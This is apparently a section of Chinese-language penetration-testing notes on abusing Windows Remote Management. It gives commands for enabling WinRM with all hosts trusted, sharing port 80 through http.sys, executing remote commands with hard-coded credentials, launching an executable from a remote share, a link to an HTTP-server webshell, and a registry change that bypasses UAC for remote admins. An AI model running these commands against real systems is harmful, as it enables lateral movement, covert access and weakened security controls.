0x04 Winrm利用

WinRM(Windows Remote Management)远程管理,是一种允许管理员远程执行系统管理任务的服务。基于Powershell,通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

使用此服务需要管理员级别凭据
双方都需要开启winrm(Win7开始支持,Server12后默认开启)

配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
--开启--
winrm quickconfig -q 启动服务并设置为自启动 添加防火墙例外规则 添加监听配置

Powershell下 Enable-PSRemoting -Force

--配置--
winrm get winrm/config 获取配置信息
winrm set winrm/config/Client @{TrustedHosts="*"} 配置信任管理源
winrm set winrm/config/Client @{TrustedHosts=""} 删除信任
winrm e winrm/config/listener 查看监听设置

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} 启用80端口复用
winrm set winrm/config/service @{EnableCompatibilityHttpListener="false"} 关闭
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} 修改默认监听端口为80

开启端口复用主要利用IIS自带驱动http.sys的端口共享功能Port Sharing。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可

1
netsh http show  servicestate  查看注册的url前缀

管理

  • Winrs

    1
    2
    winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
    winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd
  • Powershell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ip="192.168.1.116"
    #$ip="192.168.1.20"
    Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
    $securePassword = ConvertTo-SecureString -AsPlainText -Force 'pass'
    $cred = New-Object System.Management.Automation.PSCredential 'pass', $securePassword
    $cmd = {ls C:\users\public}
    Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd

    Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator 返回交互式shell
  • Winrm

    1
    2
    winrm -hostname remote.domain.com -username "Administrator" -password "secret" "ipconfig /all"
    winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.12.20\c\test.exe"}
  • HTTP Server API

    1
    2
    3
    4
    5
    6
    netsh http add urlacl url=http://+:80/MyUri user=everyone  添加urlacl 管理员权限
    除此之外可以利用已存在的urlacl
    netsh http show urlacl
    http://+:80/Temporary_Listen_Addresses/ 默认存在
    https://github.com/3gstudent/Homework-of-C-Language/blob/master/HTTPServerWebshell.cpp
    test.exe http://xx:80/url

BypassUAC

通过修改注册表使得除了administrator之外的本地管理用户能够直接绕过UAC通过Winrm进行高权限管理

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f